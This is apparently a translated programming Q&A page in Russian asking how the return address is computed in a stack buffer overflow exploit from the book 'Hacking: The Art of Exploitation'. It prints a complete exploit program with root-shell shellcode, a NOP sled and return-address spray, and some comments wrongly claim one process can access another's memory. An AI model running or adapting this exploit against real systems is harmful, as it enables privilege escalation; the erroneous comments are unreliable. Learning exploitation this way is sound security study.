Переполнение буфера на основе стека - адрес возврата «шелл-кода»

Я читаю книгу «Хакинг - искусство эксплуатации, 2-е издание».

Меня смущает следующий пример внедрения строкового буфера в качестве аргумента для процесса, уязвимого к переполнению буфера на основе стека.

Структура буфера:

| NOP | NOP...NOP | NOP | shell code | RET | RET...RET |

В уязвимом процессе этот буфер копируется в буфер символов и должен переполняться и заменять параметры базового стека, которые также включают исходный адрес возврата.

Согласно тексту - RET должен указывать на какое-то место на слайде NOP, чтобы заставить EIP скользить вниз по слайду NOP и выполнить код оболочки - звучит великолепно!

Однако как выводится этот адрес RET?

Уязвимый код (процесс №1):

int main(int argc, char *argv[]) {
    int userid, printing=1, fd; // File descriptor
    char searchstring[100];

    if (argc > 1) // If there is an arg
        strcpy(searchstring, argv[1]);  //<-------- buffer is injected here
    else // otherwise,
        searchstring[0] = 0;

Код эксплуатации - процесс №2:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";


int main(int argc, char *argv[]) {
    unsigned int i, *ptr, ret;
    char *command, *buffer;

    unsigned int offset=atoi(argv[1]);

    command = (char *) malloc(200);
    bzero(command, 200); // Zero out the new memory.

    strcpy(command, "./notesearch \'"); // Start command buffer.
    buffer = command + strlen(command); // Set buffer at the end.

    if (argc > 1) // Set offset.
        offset = atoi(argv[1]);

    ret = (unsigned int) &i - offset; //Set return address <---- How ???

    for(i=0; i < 160; i+=4) // Fill buffer with return address.
        *((unsigned int *)(buffer+i)) = ret;
    memset(buffer, 0x90, 60); // Build NOP sled.
    memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

    strcat(command, "\'");

    system(command); // Run exploit.
    free(command);
}

Это совпадение, что переменная i объявлена ​​поверх процесса №2 main? Должен ли ret получать возвращаемое значение из некоторого места в основном стеке процесса №1?

Редактировать: В частности, я не понимаю, как один процесс может получить доступ к пространству памяти другого процесса -

ret = (unsigned int) &i - offset; //Set return address

А может я что-то тут неправильно понял.

Книга очень подробно объясняет эту концепцию в этой главе. Пожалуйста, прочтите оставшуюся часть указанной главы. Вы также можете использовать диск, который поставляется с книгой на виртуальной машине Linux, чтобы увидеть, как запускается код самостоятельно.

absoluteAquarian 04.12.2018 15:31

@Tau - я не видел никаких объяснений относительно этой конкретной строки кода. Другие примеры, которые я видел в этой главе, не запускали уязвимый процесс изнутри процесса эксплуатации, и мне было легче их понять. Если вы понимаете, почему именно так вычисляется адрес возврата, я был бы признателен за любой указатель по этому поводу.

manish ma 04.12.2018 15:43

IIRC, в книге упоминается, что когда вы создаете слайды NOP, это больше похоже на игру «угадывай и проверяй», чтобы увидеть, правильно ли вы получили слайд по адресам. В конце концов, чем больше слайд, тем больше у вас места для ошибки. Что касается приближения, вы должны учитывать размер программы и размер вашего шелл-кода, а также буферы NOP и RET.

absoluteAquarian 04.12.2018 15:48

@Tau, спасибо за любезный ответ. Но я не понимаю "ret = (unsignet int) & i - offset". Это означает, что процесс №1 расположен непосредственно над процессом №2 в памяти? Более конкретно, сегмент стека процесса №1 расположен над сегментом стека процесса №2?

manish ma 04.12.2018 16:18

Процесс №1 был вызван в Процессе №2, верно? (system(command);) Если это так, то его регистры будут в более высоких адресах памяти (стек, данные, bss) или более низких адресах памяти (куча), чем процесс №2. Однако, если процесс №2 вызывается в процессе №1, то будет верно обратное: процесс №2 будет находиться в старших / младших адресах памяти.

absoluteAquarian 04.12.2018 17:14

Прошу прощения за мое незнание, я понимаю программирование так, что нужно сосредоточиться на написании безопасного и стабильного кода, а не использовать такие функции, как strcpy или strcat, когда-либо в производственном коде. Методы, которые могут помочь создать эксплойт, чаще всего являются проблемой для Owasp Top 10 и т. д.

Krassi Em 04.12.2018 18:53

@Tau, насколько мне известно, каждый процесс работает с адресами виртуальной памяти, которые транслируются в случайные места в физической памяти - так как же обработать память процесса №2 доступа №1, если она может находиться в совершенно другом физическом месте?

manish ma 05.12.2018 06:44

Конкретные фрагменты данных, например сам код, литералы, переменные и стек хранятся в определенных диапазонах памяти. Книга также подробно описывает это, особенно в этой главе. Когда вызывается новый процесс, адреса памяти родительского процесса (того, который вызывает другой) не изменяются. Любые новые данные будут просто сохранены в соответствующих областях памяти.

absoluteAquarian 05.12.2018 15:00

Таким образом, адреса памяти от родительского процесса (процесс №1) по-прежнему будут доступны и управляемы (если они не доступны только для чтения), поэтому дочерний процесс (процесс №2) все еще может получить доступ к памяти из процесса №1.

absoluteAquarian 05.12.2018 15:03
Стоит ли изучать PHP в 2026-2027 годах?
Стоит ли изучать PHP в 2026-2027 годах?
Привет всем, сегодня я хочу высказать свои соображения по поводу вопроса, который я уже много раз получал в своем сообществе: "Стоит ли изучать PHP в...
Поведение ключевого слова "this" в стрелочной функции в сравнении с нормальной функцией
Поведение ключевого слова "this" в стрелочной функции в сравнении с нормальной функцией
В JavaScript одним из самых запутанных понятий является поведение ключевого слова "this" в стрелочной и обычной функциях.
Приемы CSS-макетирования - floats и Flexbox
Приемы CSS-макетирования - floats и Flexbox
Здравствуйте, друзья-студенты! Готовы совершенствовать свои навыки веб-дизайна? Сегодня в нашем путешествии мы рассмотрим приемы CSS-верстки - в...
Тестирование функциональных ngrx-эффектов в Angular 16 с помощью Jest
В системе управления состояниями ngrx, совместимой с Angular 16, появились функциональные эффекты. Это здорово и делает код определенно легче для...
Концепция локализации и ее применение в приложениях React ⚡️
Концепция локализации и ее применение в приложениях React ⚡️
Локализация - это процесс адаптации приложения к различным языкам и культурным требованиям. Это позволяет пользователям получить опыт, соответствующий...
Пользовательский скаляр GraphQL
Пользовательский скаляр GraphQL
Листовые узлы системы типов GraphQL называются скалярами. Достигнув скалярного типа, невозможно спуститься дальше по иерархии типов. Скалярный тип...
1
9
761
1

Ответы 1

Итак, эта строка - вопрос

ret = (unsigned int) &i - offset;

Насколько мне известно, один пользовательский процесс не может получить доступ к памяти внутри другого пользовательского процесса. Но почему автор кода использует адрес i для вычисления обратного адреса? Для простой программы, такой как notesearch, обычно есть адреса, которые не сильно различаются, поэтому цель состоит в том, чтобы помочь читателю легко вычислить обратный адрес. Хорошо, позвольте мне описать это.

Дело 1

&i == 0x0061fb20
&searchstring == 0x0060fa10
offset = 0
return_address = 0x0061fb20 = &i - offset

notesearch memory view

                  High address
0xFFFFFFFF    +------------------+
              |                  |
              |   garbage data   |
              |                  |
0x0061fb20    +------------------+ <- &i # EIP land here, wrong address
              |                  |
              |                  |
              |                  |
              |                  |
              |  return_address  |
              |                  |
              |    shellcode     |
              |                  |
              |     NOP sled     |
              |                  |
0x0060fa10    +------------------+ <- start of searchstring
              |                  |
0x00000000    +------------------+
                  Low address

Как видно из случая 1, адрес возврата равен & i, поэтому после того, как ваш адрес возврата перезапишет исходный адрес возврата, код вернется к & i, которое является мусорными данными. Так как же сделать так, чтобы обратный адрес указывал на салазки NOP? Да, именно тогда в игру вступает смещение, которое является вашим вводом.

Случай 2

&i == 0x0061fb20
&searchstring == 0x0060fa10
offset = &i - &searchstring
return_address = 0x0060fa10 = &i - offset

notesearch memory view

                  High address
0xFFFFFFFF    +------------------+
              |                  |
              |   garbage data   |
              |                  |
0x0061fb20    +------------------+ <- &i
              |                  |
              |                  |
              |                  |
              |                  |
              |  return_address  |
              |                  |
              |    shellcode     |
              |                  |
              |     NOP sled     |
              |                  |
0x0060fa10    +------------------+ <- &i - offset # start of searchstring, EIP land here
              |                  |
0x00000000    +------------------+
                  Low address

Ваша задача здесь - вычислить обратный адрес с помощью & i и вашего смещения, чтобы EIP попадал в начало поисковой строки или NOP-следа. Чтобы вычислить его, вы должны запустить программу эксплойта в отладчике и найти & i, после чего запустить программу notesearch и найти & searchstring. offset = &i - &searchstring, offset is (+) if &i > &searchstring else offset is (-).

Другие вопросы по теме